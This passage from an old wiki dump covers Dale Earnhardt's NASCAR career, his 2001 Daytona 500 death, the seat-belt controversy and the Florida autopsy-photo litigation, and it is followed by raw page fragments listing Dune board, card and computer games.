Earnhardt's [[1987]] season started with big news, his longtime sponsor [[Wrangler]] would terminate its sponsorship at the end of the season and [[GM Goodwrench]] would take over for the [[1988]] season. Earnhardt and his team were determined to make Wrangler's last season the best; but not even they could have predicted what would happen in 1987. The team would win 11 races at [[Rockingham]], Richmond, Darlington, North Wilkesboro, Bristol, Martinsville, Charlotte, [[Michigan]], Pocono, Bristol, Darlington, and wrap it up with a win at Richmond. The team set a modern era record of 4 consecutive wins and won 5 of the first 7 races. It would have been 7 of 7 had the team not had bad luck strike at Daytona when he ran out of gas while leading with 3 to go. Earnhardt also earned his nickname &quot;The Intimidator&quot; during the [[Winston All-Star race]] at Charlotte, bullying [[Bill Elliott]] in the final segment before scoring his first of three career wins in the event.  The final, 10-lap segment featured Earnhardt's infamous, but erroneously named &quot;pass in the grass&quot;. The point race was a romp. Earnhardt grabbed it early in the year and never let up, stretching the lead at one point to greater than 600 points over Bill Elliott before beating &quot;Million Dollar Bill&quot; by around 400 points.

'''1988: The Man in Black'''

Earnhardt had always been an [[aggressive]], no holds bar driver his whole career. Black had always seemed perfect for the driver rather than the exact opposite colors of yellow and blue. But in 1988, Earnhardt would change the look of his car, and as a result, the view of his personality, forever. When [[GM Goodwrench]] took over the primary [[sponsorship]] role of the RCR #3 Chevy, they insisted on a black paint scheme, and soon enough, Earnhardt's newest [[nickname]] came up: The Man In Black. The season would be a great year for most, but for Earnhardt, who had won back-to-back titles and was looking to become only the 2nd man in history to win 3 consecutive titles, it was a disappointment. Earnhardt scored 3 wins and finished 3rd in the standings behind [[Bill Elliott]] and [[Rusty Wallace]].

'''1989: So Close, and Yet So Far'''

Earnhardt was determined to get back to the top of the [[Winston Cup]] heap in [[1989]], and he proved it early and often. He scored 6 wins, but this season was to belong to a budding rival. [[Rusty Wallace]] would score 5 wins en route to the championship. Earnhardt learned a lesson in points racing from [[Ricky Rudd]] at [[North Wilkesboro]], when he was racing Rudd for the win with a handful of laps to go. The smart thing to do for a title contender would be to let the man go and get the points, but Earnhardt was all about winning, and he wasn't about to let Rudd have it. The result saw the two get together and both of them spun, giving the win to [[Geoff Bodine]]. Earnhardt ended up 12th instead of 2nd, the difference in points costing him another championship. It was a lesson Earnhardt would take with him to 4 more titles.

'''1990: Redemption'''

Earnhardt couldn't wait to get back behind the wheel of the #3 GM Goodwrench [[Chevrolet Lumina]] in [[1990]]. He had something to prove after letting the 1989 Winston Cup title slip out of his grasp. The season started with another heartbreak. Earnhardt had won the outside pole for the Superbowl of Stock Car Racing, the [[Daytona 500]], and had dominated the entire speedweeks, winning the [[Bud Shootout]] and the qualifying race. On the big day, he had a 40 second lead, he had almost lapped the field, when the day's final caution came out with a handful of laps to go. When the green flag came out, Earnhardt was leading unknown driver [[Derrike Cope]] and was expected to take it home from there. But on the last lap, Earnhardt would have another run-in with his famous bad luck. While coming out of turn 3, Earnhardt would run over a piece of debris, cutting his tire down and giving the lead to Cope, who went on to win the race while Earnhardt finished 5th. This could have crushed a lesser team, but RCR used it as a [[motivational]] tool. They took the tire that cost them the win and mounted it to the wall of their shop to remind their team of what had happened. The results led to a 9-win season and a 4th Winston Cup title for Earnhardt, beating out [[Mark Martin]] by just 26 points for the honor. Other notable wins for Earnhardt in 1990 were the [[Southern 500]], The Winston All-Star race, and the [[Winston 500]].

In [[1991]] as Earnhardt scored his 5th Winston Cup championship. In his previous championship seasons, Earnahrdt had never scored less than 5 wins, but in 1991, Dale would score just 4 wins, but it would be more than enough as he would take the title by 195 points over [[Ricky Rudd]]. One of the biggest highlights of the season for Earnhardt was scoring the win at [[North Wilkesboro]], stealing the thunder of [[Harry Gant]], who had tied Earnhardt's mark of 4 consecutive wins and was going for a 5th but lost the brakes late in the run, giving Earnhardt the chance he needed to take the win and end Gant's streak. 

'''1992-The Wheels Fall Off'''

After back-to-back titles for the 2nd time in his career, Dale Earnhardt was determined to take advantage of the opportunity to make it 3 in a row, but again, it wasn't to be. Earnhardt's lone win of the season came at [[Charlotte]] in the prestigious [[Coca-Cola 600]], but otherwise, the season was a loss to the RCR team. Dale would finish a career-low 12th in the points for the 2nd time in his career, and the only time he had been that low since coming to RCR. Longtime RCR crew chief [[Kirk Shelmerdine]] left at the end of the year, citing burnout and wanting to pursue his own racing dream. The team would regroup with [[Andy Petree]] as the crew chief in 1993.

'''1993 Back to the Top'''

Hiring Petree turned out to be a good move, as the #3 GM Goodwrench Chevy was back up front in [[1993]]. Earnhardt once again came close to a win at the [[Daytona 500]], dominating throughout speedweeks before finishing 2nd to [[Dale Jarrett]] on a last-lap pass. Earnhardt would score 6 wins en route to his 6th Winston Cup title, including wins in prestigious races as the [[Coca-Cola 600]], the Winston All-Star race and the [[Pepsi 400]] at Daytona. Earnhardt would defeat best friend and rival [[Rusty Wallace]] for the championship by just 80 points and set about to repeating in 1994.

'''1994-7th Heaven'''

[[Richard Petty]] had been the only driver in [[NASCAR]] history to win 7 championships in NASCAR's top division, a record no one thought would be broken. In 1994, Earnhardt showed them they were wrong. Once again, Earnhardt was a model of consistency, scoring only 4 wins, but winning the title by over 400 points over [[Mark Martin]]. As Earnhardt scored his 4th title in 5 years, he seemed poised to break the record for championships and make his own mark in the history books.

'''1995-The Chase for 8'''

Dale Earnhardt started off his challenge for a record 8th Winston Cup championship the same way he always did-coming up one spot short in the Daytona 500. He finished 2nd after again dominating Speedweeks, this time to [[Sterling Marlin]]. Earnhardt wouldn't let this deter him from his goal, though. He would win 5 races in 1995, including his first career [[road course]] victory at [[Sears Point]] and the prestigious [[Brickyard 400]] at [[Indianapolis Motor Speedway]], a win he called the biggest of his career at the time. But in the end, he once again came up short of the historic 3-peat, losing the title to [[Jeff Gordon]] by just 34 points. 

'''1996-One Tough Customer'''

When Earnhardt teamed up with [[Wrangler Jeans]] to sponsor him in the 80s, their slogan for him was that he was &quot;One Tough Customer&quot;. In 1996, he showed us why. Earnhardt had his now-legendary Daytona luck, winning the pole for the Daytona 500 and dominating speedweeks again before finishing 2nd to [[Dale Jarrett]] for a 2nd time. Earnhardt won early in the year, scoring back to back victories at [[Rockingham]] and [[Atlanta]]. Coming to [[Talladega Superspeedway]], he was leading the points looking for his 8th title despite the departure of [[Andy Petree]] as crew chief. [[David Smith]] had taken the reigns of the crew chief role in 1996. A horrific accident at the track appeared to have ended his season early, let alone his title hopes. But in true Earnhardt fashion, Dale refused to sit out and raced every weekend. He had to let [[Mike Skinner]] take the wheel the first week after the accident at Indianapolis, but Earnhardt didn't like the taste of that and the following weekend at [[Watkins Glen]] he won the pole and refused to get out of the car, dominating most of the race before fatigue from his injuries caused him to slow down in which he wound up 6th. Earnhardt would not win again in 1996, but he still finished 4th in the standings behind [[Terry Labonte]], [[Jeff Gordon]] and [[Dale Jarrett]]. David Smith would leave as crew chief of the #3 team at the end of the year to become team manager of the new #31 [[Lowes Home Improvement Warehouse]] RCR entry of [[Mike Skinner]] as a teammate to Earnhardt and [[Larry McReynolds]] would replace him.

'''1997-Blackout'''

In [[1997]], the black #3 was shut out of victory lane for only the 2nd time in Earnhardt's career. The lone win of the season came during speedweeks at Daytona in the Twin 125-mile qualifying race, his record 8th straight win in the event. Once again in the hunt for the Daytona 500 with 10 laps to go, Earnhardt was taken out of the Daytona 500 by a late crash which sent his car flipping down the backstretch. The crowd roared as he examined his car, got back into it and drove it to the finish, despite heavy damage to the car.  Earnhardt would hit the low point of the year when he would black out early in the [[Southern 500]] in [[Darlington]], causing him to hit the wall and scaring onlookers and fans. He would go to the hospital and be cleared to race, but had no idea what caused the [[blackout]]. Earnhardt would finish the season 5th in the final standings, but was obviously disappointed by their lack of results.

'''1998-FINALLY'''

Finally! The first words out of everyone's mouth when Dale Earnhardt finally scored the victory in the only jewel left from his crown. After 20 years of disappointment in the [[Daytona 500]] and dominating races only to fall to the wayside late in the going, Earnhardt finally held on and did not let go. He started Speedweeks like any other, winning his Twin 125-mile qualifier race, then fielded questions from the media about his inability to win the race thus far. On race day, Dale showed himself to be one of the contenders early, leading for long periods of time. By halfway, though, it seemed that [[Jeff Gordon]] had the upper hand. But by lap 138, Earnhardt had taken the lead, and thanks to a push by teammate [[Mike Skinner]] on lap 170 on the restart, he would not lose it. Earnhardt beat [[Bobby Labonte]] to the line to take the checkers in the race. There was a wild celebration afterward, the likes of which few races have seen since. Every crew member of every team lined [[pit road]] to slap his hand as he made his way to the coveted [[Victory Lane]] and the [[Harley Earl Trophy]]. Unfortunately, the rest of the season would not go as well for Earnhardt. He slipped to 12th in the standings by the season's halfway mark, and [[Richard Childress]] decided to make a crew chief swap, taking Mike Skinner's crew chief [[Kevin Hamlin]] and putting him with Earnhardt while giving Skinner's team Larry Mac. The results seemed to improve, as Earnhardt climbed back to 8th in the final standings.

'''1999-BACK IN BLACK'''

[[1999]] was the year that served notice that The Intimidator had NOT gone into that good night. Everyone had started talking about Earnhardt's age and thinking that with his son [[Dale Jr]]. getting into racing that Earnhardt might start thinking [[retirement]]. Dale set out to prove them wrong, and did so with ease, scoring the sweep at [[Talladega Superspeedway]]. But this season was highlighted by a much more [[controversial]] moment. At the August Bristol Night race, Earnhardt found himself in contention to win his first short track race since his win at [[Martinsville]] in 1995. Earnhardt had not won a non-restrictor-plate race since 1996, and people doubted his ability to win on the short tracks, thinking he had mellowed and wasn't going to beat and bang anymore. When a caution came out with 15 laps to go, leader [[Terry Labonte]] got hit from behind by the lapped car of [[Darrell Waltrip]]. His spin put Earnhardt in the lead with 5 cars between he and Labonte with 5 laps to go. Labonte had fresher tires and Earnhardt did not. Labonte caught Earnhardt coming to the [[white flag]] and hit him 3 times to move him out of the way. Earnhardt returned the favor, but unlike Earnhardt, Labonte could not hold on. He spun, and Dale collected the win and the boos from the multitudes at the track. Earnhardt would finish 7th in the standings that year, but more importantly looked like a contender again.

'''2000-The #1 Earnhardt'''

Everyone was expecting [[2000]] to be the Year of Earnhardt, but Dale Jr., not Dale. Dale's son had moved up to the [[Winston Cup Series]] and was competing for [[Rookie of the Year]], and most expected the younger Earnhardt to outrun his father. Once again, Earnhardt proved his [[detractors]] wrong, as he scored the 2 most exciting wins of the year, winning by a foot at [[Atlanta Motor Speedway]] over [[Bobby Labonte]], then winning at [[Talladega Superspeedway]] after coming back from being 18th with only 5 laps to go to score his first [[No Bull]] 5 million dollar bonus. On the strength of these performances, Earnhardt took the #3 GM Goodwrench [[Chevrolet Monte Carlo]] to 2nd in the standings, proving to everyone that he was by no means done racing yet. He also won the battle of the Earnhardts, as Dale Jr. scored 2 wins also, but finished only 16th in the standings. 

With the season he had last year, people knew he could still get the job done. When the Daytona 500 rolled around, it seemed different. Every Speedweeks for over a decade, Dale had won at least one race before the Daytona 500. This year, Earnhardt appeared to have the qualifying race in hand but was passed by [[Sterling Marlin]] on the last lap. He finished 2nd to budding star [[Tony Stewart]] in the [[Bud Shootout]]. When the Daytona 500 started, Earnhardt appeared to have a good car, but not a dominant one. A big crash inside 25 laps to go eliminated a great deal of competition, though, and it appeared that either Earnhardt, his son or his newest hire, [[Michael Waltrip]], would win the race. Earnhardt appeared content to ride behind the two, seemingly running interference for them. When they came to the final lap, [[Sterling Marlin]] got a run under Earnhardt and tapped him in the left quarterpanel, sending him into [[Ken Schrader]], which in turn sent him into the wall headfirst. As his friend Michael and his son Dale Jr. went on to finish 1-2 in the Daytona 500, Dale's life would end. The rest of the season seemed to be a tribute to the greatest to drive a [[stock car]], with his replacement, [[Kevin Harvick]], driving a white #29 GM Goodwrench Chevy, scoring 2 wins and a 9th-place effort in the standings en route to rookie of the year. [[Steve Park]], another Earnhardt hire, won at [[Rockingham]] and appeared to have a top 10 finish in the standings secured before a serious [[head injury]] ended his season early. Dale Jr. scored 3 wins, including emotional wins at [[Daytona]] and [[Talladega]], en route to an 8th-place finish in the standings. [[Michael Waltrip]] would push his teammate and friend Dale Jr. to his win in the first race back at Daytona in July of 2001 for a [[Dale Earnhardt Inc]]. 1-2 finish at the track, for a storybook ending to a hard time for the Earnhardt camp.

[[Image:Earnhardt 3.jpg|right|150px]]
Dale drove the #3 car for most of his career, spanning the early [[1980s]] until his unfortunate passing in 2001.  [[As of 2006]], no other [[Nextel Cup]] race car has used this number, but NASCAR will not officially retire it.  There is talk that Dale Earnhardt Jr. will use the number 3 towards the end of his career, and possibly even using the familiar Black paint scheme.

===Death===
[[Image:Earnhardt crash.jpg|right|thumbnail|200px|The final turn of 2001's [[Daytona 500]]]]

Dale Earnhardt died on [[February 18]], [[2001]], on the last lap of the [[Daytona 500]].  Earnhardt had what many thought was the best car throughout the race, as he led 17 laps and stayed at the front of the pack. But as Earnhardt saw the way the race was developing with his two drivers, one his son, Dale Earnhardt Jr., and the other a man he considered a brother, Michael Waltrip, it appeared Earnhardt backed off, trying to hold the pack at bay and let his two drivers decide the outcome. He decreased his speed to block the rest of the field when, in Turn 4, he was nudged by [[Sterling Marlin]]'s bumper. It appeared Earnhardt had it saved but the car took off up the track. As it went up towards the wall it hit [[Ken Schrader]], which veered his car into a direct head on hit and severed the seat belt. Michael Waltrip went on to win his first race in over 400 races competed, and his son, Dale Jr. came in second. Earnhardt, who throughout his career let nobody get by him or stay in front of him, and did all he could to get by them including wrecking them, was killed on impact by massive head injuries trying to let another win.  Coincidentally, the crash occurred at the same place where his good friend [[Neil Bonnett]] was killed.  Because both crashes occurred as a result of a car dipping below the banking of the track onto the flat area (called the &quot;apron&quot; of the track) NASCAR implemented a new rule stating that in no instance is any car allowed to drive below the apron at Daytona, and at a similar track in [[Talladega]], [[Alabama]].  

He is survived by his third wife Teresa and four children:  Son [[Kerry Earnhardt|Kerry]] (from his first marriage to Latane Brown), Kelley, Dale Jr. (both from his second marriage to Brenda Gee), and daughter Taylor (from his third marriage). Kerry and Dale Jr. are both NASCAR drivers.  Dale Jr. finished second when his father died at the 2001 Daytona 500. The winner of that race, [[Michael Waltrip]], was one of Dale's closest friends, and drove for DEI.

Three weeks after Earnhardt's death, young California driver [[Kevin Harvick]], who was hired to replace Earnhardt in the now-renumbered and repainted #29 GM Goodwrench Service Plus Chevrolet, scored a win at Atlanta.  The [[Fox Broadcasting Company|Fox]] television commentators' call of the final lap of the 2001 [[Golden Corral 500]], Harvick beating [[Jeff Gordon]] by .006 seconds, and the images of Earnhardt's longtime fueler, Danny &quot;Chocolate&quot; Myers, crying after the victory, are among the most memorable moments in recent [[USA|U.S.]] motorsports history. [[Dale Earnhardt Jr.]] scored an emotional victory in the Pepsi 400 at Daytona International Speedway on [[July 7]], [[2001]].

===Controversy over cause of death===
At a news conference five days after the fatal crash, NASCAR officials announced that a seat belt had broken in Earnhardt's car. [[Daytona International Speedway]] physician Dr. [[Steve Bohannon]] said he thought the faulty belt had allowed Earnhardt's chin to strike the steering wheel, causing a basilar skull fracture, killing him.  The manufacturers of seat belts for NASCAR, [[Simpson Race Products]] of [[Charlotte, North Carolina]], maintained that the belt had failed because it had been installed in an unapproved fashion in order to increase Earnhardt's comfort, an allegation that had been supported by some who were familiar with the situation. 

Certainly, being held responsible for the death of NASCAR's most popular driver was not a desirable prospect for Simpson. On the other hand, NASCAR also did not wish to be seen as negligent in not requiring adequate [[HANS device|head and neck restraint]] for drivers in the wake of five fatal accidents in the past 11 months, including popular drivers [[Kenny Irwin, Jr.]], [[Tony Roper]], and [[Adam Petty]], grandson of NASCAR's legendary driver, [[Richard Petty]]. They also soon made it a requirement to wear full faced helmets (although Earnhardt had been one of the very few to still use an open face helmet).

The [[Orlando Sentinel]], particularly Sentinel sportswriter [[Ed Hinton]], attempted to acquire Earnhardt's autopsy records and photos for study, autopsy records being normally public documents in Florida, but Earnhardt's widow, Teresa, (along with public opinion) petitioned a judge to seal the records. After a short court battle, it was mutually agreed to appoint Dr. [[Barry Myers]], a [[Duke University]] expert on crash injuries, to independently study Earnhardt's death. On [[April 10]], [[2001]], Myers published his report rejecting NASCAR's explanation, finding that Earnhardt's death was in fact the result of his inadequately restrained head and neck snapping forward, independent of the broken seat belt (making the question of proper or improper installation irrelevant).

:&quot;If the outboard lap belt had remained intact throughout the crash, Mr. Earnhardt's head would still likely have experienced similar inertial forces and similar contact forces with the steering wheel. As such, the restraint failure does not appear to have played a role in Mr. Earnhardt's fatal injury.&quot; [http://www.orlandosentinel.com/orl-dalereporttext041001,0,6293625.story?coll=orl-home-headlines] 

Dr. [[Philip Villanueva]], a [[University of Miami]] [[neurosurgeon]] who had previously analyzed the crash for the Sentinel before the autopsy records were available, said he had reached the same conclusion, but had wanted to examine the autopsy photos to be certain. Dr. [[Steve Olvey]], medical director of [[Championship Auto Racing Teams]] for 22 years, and [[Wayne State University]] crash expert [[John Melvin]] also agreed with Myers' report. Simpson's founder, [[Bill Simpson]], called the report &quot;the best news I've heard in seven weeks. I've been living in daily hell.&quot; 

On the same day as Myers' report was made public, NASCAR announced its own investigation, after having remained silent for six weeks since the accident. However, when the greatly anticipated official NASCAR report[http://www.nascar.com/SPECIAL/er/download/], which had cost over a million dollars, was published on [[August 21]], [[2001]], it cited collision with another car, the speed and angle of impact, and separation of the seat belt as factors in the fatality. After NASCAR's report, Simpson retired, citing the stress as &quot;too much.&quot; The Simpson company attorneys asked NASCAR to unequivocally assert:

*The belts were of high quality in workmanship and there were no design or manufacturing defects. 
*The belts met the NASCAR rule book requirements. 
*The belts, as installed, did not conform to manufacturer installation requirements. 
*The separation of the left lap belt was not a result of design or manufacturing defect, but caused by improper installation. 
*The belt separation was not the cause of Earnhardt's death. 

NASCAR, however, did not respond.

Consonant with its report, NASCAR declined at the time to require drivers to wear the uncomfortable [[HANS device|head and neck restraints]].  NASCAR president [[Mike Helton]] said that &quot;We are still not going to react for the sake of reacting.&quot; However, it did state that it &quot;encouraged their use.&quot; Drivers were indeed encouraged, with 41 out of 43 drivers wearing them at the [[Pepsi 400 by Meijer]] at  [[Michigan International Speedway]] on [[August 19]], [[2001]], just two days before NASCAR's report came out.

In the end, there was no controversy, as all competitors and insiders knew the truth. Before Earnhardt's death, drivers [[Kenny Irwin, Jr.|Kenny Irwin]], [[Adam Petty]], and [[Tony Roper]] had all died of basilar skull fractures due to a blunt impact with the wall delivered at a critical angle, their impacts and angles nearly identical to Earnhardt's accident.  In 1999, NASCAR mandated new rules for the cars' chassis that lessened the amount of energy the car absorbed and increased the amount of energy the driver absorbed on impact.  Leading experts all knew that, with the chassis change, lack of soft walls, and/or head and neck restraints, the configuration was a recipe for disaster.  NASCAR knew of all these concerns prior to Earnhardt's accident; however, it took the death of one of the sport's greatest stars before NASCAR finally reacted.

==Autopsy Photographs Controversy==

Dale Earnhardt's death changed Florida's laws as to who and how public record medical examiner files, to include autopsy photographs would be released to members of the public.

On or about February 19, 2001, the Volusia Country Medical Examiner (hereinafter the &quot;Medical Examiner&quot;) performed an autopsy on Dale Earnhardt's body.

During a press conference, Amy Rippel of the Orlando Sentinel made a public records request to inspect the public record autopsy records of Dale Earnhardt.

The unusual act of notifying NASCAR and Teresa Earnhardt was made prior to releasing the records sought by members of the public and media. 

Shortly thereafter, on February 22, 2001, Teresa Earnhardt, then filed a [http://www.earnhardtinvestigation.com/earnhardt/research/court/circuit-CN-2001-30373-CICI/pleadings/docs/20010222_01_(S)_EARN-COMPLAINT_FOR_DECLAR_AND_INJUNCT_RELIEF_(05P)(EARNvME)2001-30373.pdf Complaint for Declaratory and Injunctive Relief] (hereinafter the &quot;Injuction&quot;) in the Circuit Court of the Seventh Judicial Circuit, in and for Volusia County, Florida (Case No. 2001-30373-CICI Div. 32) (hereinafter &quot;Earnhardt v. Volusia&quot;).

The attorneys who filed the Injunction in Earnhardt v. Volusia included Laurence Bartlett, of Crotty &amp; Bartlett, P.A., 1800 W. International Speedway Blvd., Daytona Beach, Florida 32114 (hereinafter &quot;Crotty and Bartlett&quot;).

At the time, Crotty and Bartlett were the attorneys for the International Speedway Corporation (i.e., owners of NASCAR and the Daytona International Speedway).

Once the [http://www.earnhardtinvestigation.com/earnhardt/research/court/circuit-CN-2001-30373-CICI/pleadings/docs/20010222_01_(S)_EARN-COMPLAINT_FOR_DECLAR_AND_INJUNCT_RELIEF_(05P)(EARNvME)2001-30373.pdf Complaint for Declaratory and Injunctive Relief] was filed, the Medical Examiner was barred from releasing the public records pertaining to 
Dale Earnhardt, to include autopsy photographs, until a formal hearing on the merits of Teresa Earnhardt's [http://www.earnhardtinvestigation.com/earnhardt/research/court/circuit-CN-2001-30373-CICI/pleadings/docs/20010222_01_(S)_EARN-COMPLAINT_FOR_DECLAR_AND_INJUNCT_RELIEF_(05P)(EARNvME)2001-30373.pdf Complaint for Declaratory and Injunctive Relief] could be heard.

On February 28, March 13, and March 16, 2001, the Orlando Sentinel (&quot;Sentinel&quot;), Michael Uribe, Founder of [http://www.websitecity.com WebsiteCity.com] (&quot;Uribe&quot;), and Campus Communications, Inc., publisher of The Independent Florida Alligator (&quot;CCI&quot;), 
filed motions to intervene into the Earnhardt v. Volusia litigation 
in order to uphold their rights to inspect and copy public records 
held by the Volusia County Medical Examiner to include the photographs and videotape of Dale Earnhardt's autopsy examination.
(See, copies of these pleadings filed by the Sentinel, Uribe and CCI at
[http://www.earnhardtinvestigation.com/earnhardt/research/court/circuit-CN-2001-30373-CICI/pleadings/docs/20010228_01_(S)_SENTINEL-MOT_TO_INTERV_(03P)(EARNvME)2001-30373.pdf Sentinel Motion to Intervene], 
[http://www.earnhardtinvestigation.com/earnhardt/research/court/circuit-CN-2001-30373-CICI/pleadings/docs/20010313_01_(F)_URIBE-MOT_TO_INTERV_(03P)(EARNvME)2001-30373.pdf Uribe Motion to Intervene], and
[http://www.earnhardtinvestigation.com/earnhardt/research/court/circuit-CN-2001-30373-CICI/pleadings/docs/20010316_04_CCI-MOT_TO_INTERV_DISM_SUM_JUDG_(03P)(EARNvME)2001-30373.pdf CCI Motion to Intervene]
respectively).

On June 12-13, 2001, a trial would then be conducted before the Honorable Judge Joseph Will.  Judge Will eventually ruled against Uribe and CCI's original public records requests and constitutional arguments to inspect and copy the medical examiner files pertaining to Dale Earnhardt, to include autopsy photographs.

Judge Will's ruling set forth in motion an extensive legal battle later fought in the appellate courts by both Uribe and CCI seeking to deam the denial of their public record's request unconstitutional under Florida State and Federal laws.

Then on December 1, 2003, the United States Supreme Court denied to hear Uribe and CCI's appeal to their court (See original [http://www.earnhardtinvestigation.com/earnhardt/courts/CCI_v_EARN_US03-0484/pleadings/docs/20030929_01-CCI-PETITION-FOR-WRIT-OF-CERTIORARI_(93P)(CCIvEARN)(US03-0484).pdf Petition for Writ of Certiorari].  Thus, Florida Governor Jeb Bush's March 29, 2001 law preventing release of Dale Earnhardt's public record autopsy photographs would remain in effect.

Governor Jeb Bush's March 29, 2001 law, also known as the Earnhardt Family Protection Act, changed Florida's previously long standing and historically open public records laws from that day onward.  The law deemed Florida's medical examination autopsy photographs, video and audio recordings exempt from public inspection without the expressed permission from applicable next of kin.

==Legacy==
Dale Earnhardt in NASCAR was a very polarizing figure.  People either loved him or hated him, but he was one of the most popular drivers in the sport.  Earnhardt's death drew a considerable reaction from the nation, NASCAR, and of course grief-stricken fans.  It is remarkable, and almost symbolic, that his son, [[Dale Earnhardt, Jr.|Dale Jr.]], is still officially marked as &quot;Earnhardt Jr.&quot; on the ticker, even though there is no longer a need to distinguish between father and son on the racetrack.

Earnhardt kept his private life generally private. He enjoyed the company of his family, being in the outdoors, hunting and fishing, and actively working his farm in Kannapolis, riding a tractor instead of a racecar. In contrast with his image as a hardnosed competitor on the track, off the track he was known to his friends as someone who was charitable and generous, but kept that side of himself private from the rest of the world. 

Earnhardt has a street in his hometown of Kannapolis named after him.  Dale Earnhardt Boulevard (originally Earnhardt Road) is marked as Exit 60 off of [[Interstate 85]], northeast of [[Charlotte, North Carolina|Charlotte]].  A road between Kannapolis and [[Mooresville, North Carolina|Mooresville]], along which is the headquarters of DEI, has been given the designation [[North Carolina State Road 3|State Road 3]] by the North Carolina Department of Transportation.  In addition, Exit 73 off of [[Interstate 35W]], one of the entrances to [[Texas Motor Speedway]], is named &quot;Dale Earnhardt Way&quot;.

Earnhardt appeared in a [[cameo]] role in the [[1998 in film|1998]] comedy spoof ''[[BASEketball]]'' as a taxi driver, who reveals himself only after [[Yasmine Bleeth]]'s character asks the driver if he &quot;can go any faster,&quot; complete with the famous forward-slanted 3 painted on the side.

In 2000, the [[Piedmont Boll Weevils]] [[minor league baseball]] team was renamed to the [[Kannapolis Intimidators]] after Earnhardt purchased a share in the team's ownership.

In [[2004]], Dale Earnhardt's life story was made into a [[television movie]] by [[ESPN]] titled, ''[[3: The Dale Earnhardt Story]]''.

Since Earnhardt's death, NASCAR has worked hard to improve driver safety.  The HANS device, Safer Barriers and other devices have been inacted on the track.

Dale Earnhardt will be inducted into the [[International Motorsports Hall of Fame]] on April 27, 2006.

In 2004 Keith Bryant released the album &quot;Riding with the Legend,&quot; with the title track being a tribute to Dale Earnhardt based on [[David Allan Coe]]'s &quot;The Ride(The Ghost of [[Hank Williams]])&quot;

==External links==
*[http://www.daleearnhardtinc.com Dale Earnhardt Inc.]
*[http://www.earnhardtinvestigation.com Autopsy Photographs Controversy and Legal Documents by Michael Uribe]
*[http://www.racing-reference.com/driver?id=earnhda01 Career statistics at Racing-Reference.com]
*[http://www.orlandosentinel.com/orl-daleresults041001,0,571123.story?coll=orl-home-headlines Orlando Sentinel article on the inquiries into the cause of death]
*[http://sportsillustrated.cnn.com/motorsports/nascar_plus/news/2001/08/21/simpson_report/ Sports Illustrated article on the controversy over Earnhardt's seat belt]
* [http://www.theinsidegroove.com/pics/12242003/highres/image_html/nascar-racing-history-photo-picture-3-01.html The Inside Groove.com - Image Gallery Dale Earnhart in the early years]
[[Category:1951 births|Earnhardt, Dale]]
[[Category:2001 deaths|Earnhardt, Dale]]
[[Category:Charlotte, North Carolina|Earnhardt, Dale]]
[[Category:Fatally crashed racecar drivers|Earnhardt, Dale]]
[[Category:German-Americans|Earnhardt, Dale]]
[[Category:Lutherans|Earnhardt, Dale]]
[[Category:NASCAR drivers|Earnhardt, Dale]]
[[Category:NASCAR Rookie of the Year|Earnhardt, Dale]]
[[Category:North Carolina Sports Hall of Fame|Earnhardt, Dale]]
[[Category:People from North Carolina|Earnhardt, Dale, Sr.]]

[[de:Dale Earnhardt]]
[[tl:Dale Earnhardt]]</text>
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  </page>
  <page>
    <title>Dune/Films</title>
    <id>7895</id>
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        <username>Kbdank71</username>
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  <page>
    <title>Dune (games)</title>
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      <text xml:space="preserve">A number of [[game]]s have been based on [[Frank Herbert]]'s [[science fiction]] novel [[Dune (novel)|Dune]]:

* [[Card game]]
** [[1997]] Dune: Eye of the Storm, Five Rings Publishing Group - [http://www.geocities.com/Area51/Rampart/1937/ fanpage]

* [[Board game]]
** [[1979]] Avalon Hill's Dune, [[Avalon Hill Games]] - [http://www.duneworld.org/games/ah.html fanpage]
** [[1984]] Parker Brothers Dune, [[Parker Brothers]] - [http://www.duneworld.org/games/pb.html fanpage]

* [[Video games]] (''See also :'' [[Dune (computer game)]])
** [[1992]] ''[[Dune (Cryo)|Dune]]'', [[Cryo Interactive]] (Mixture between adventure and strategy game)
** [[1992]] ''[[Dune 2]]'', [[Westwood Studios]] (popularized the [[real-time strategy]] genre)
** [[1998]] ''[[Dune 2000]], Westwood Studios'' ([[enhanced remake]] of Dune 2)
** [[2001]] ''Emperor: Battle for Dune'', Westwood Studios
** [[2001]] ''Frank Herbert's Dune'', Cryo Interactive

* [[Online-game]]
** Regent of Dune
** Dune    [[MUD]]
** Kaitain [[MUSH]]

[[Category:Science fiction board games]]
[[Category:Dune universe media]]</text>
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  <page>
    <title>Dune/Videogames</title>
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      <text xml:space="preserve">#REDIRECT [[Dune (computer game)]]</text>
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  <page>
    <title>Dune (computer game)</title>
    <id>7898</id>
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      <contributor>
        <ip>202.156.6.54</ip>
      </contributor>
      <comment>/* Dune Generations */</comment>
      <text xml:space="preserve">A number of '''[[Computer and video games|computer game]]s''' based on [[Frank Herbert]]'s [[science fiction]] novel '''''[[Dune (novel)|Dune]]''''' and its two adaptations for [[Dune (film)|film]] and [[Dune (TV miniseries)|television]] were created:

==Dune==

''Main article :'' ''[[Dune (Cryo)|Dune]]''

{{Infobox CVG| title = Dune
|image = [[Image:Dune cryo.png|240px]]
|developer = [[Cryo Interactive]]
|publisher = [[Cryo Interactive]]
|released = [[1992]]
|genre = [[Strategy game]]
|modes = [[Single Player]]
|platforms = [[MS-DOS]], [[Amiga]]
}}
''Dune'' blended adventure with economic and military strategy, and is considered by many the most immersive Dune computer game. Loosely following the story of the novel, the game casts the player as [[Paul Atreides]], with the ultimate goal of driving the [[House Harkonnen|Harkonnen]] from Dune, while managing [[melange|spice]] extraction, military, and later, ecology through the native [[Fremen]] tribes. As the player progresses, his troops are equipped with weapons from crysknives to Atomics, tap into Paul's latent psychic powers, and get acquainted with such characters from the book as [[Chani]] and [[Liet-Kynes|Liet Kynes]]. Available for the [[Amiga]] and [[IBM PC|IBM compatibles]], it was one of the first floppy games to be converted to CD format, which included footage of the [[David Lynch]] movie, and highly improved, 3D-rendered travelling and location screens. This version (a mix of the Amiga graphics and the extras of the PC-CD version) was also released on [[Sega]]'s Mega CD format. Also worthy of mention is the audio track created by [[Stéphane Picq]] and [[Philip Ulrich]], released by Cryo (formerly Exxos) on the now extremely rare album [[Dune: Spice Opera]].

==Dune II==
{{main|Dune II}}
Also known as:
*''Dune II: The Battle for Arrakis'' ([[Sega Genesis]] port)
*''Dune II: The Building of a Dynasty''

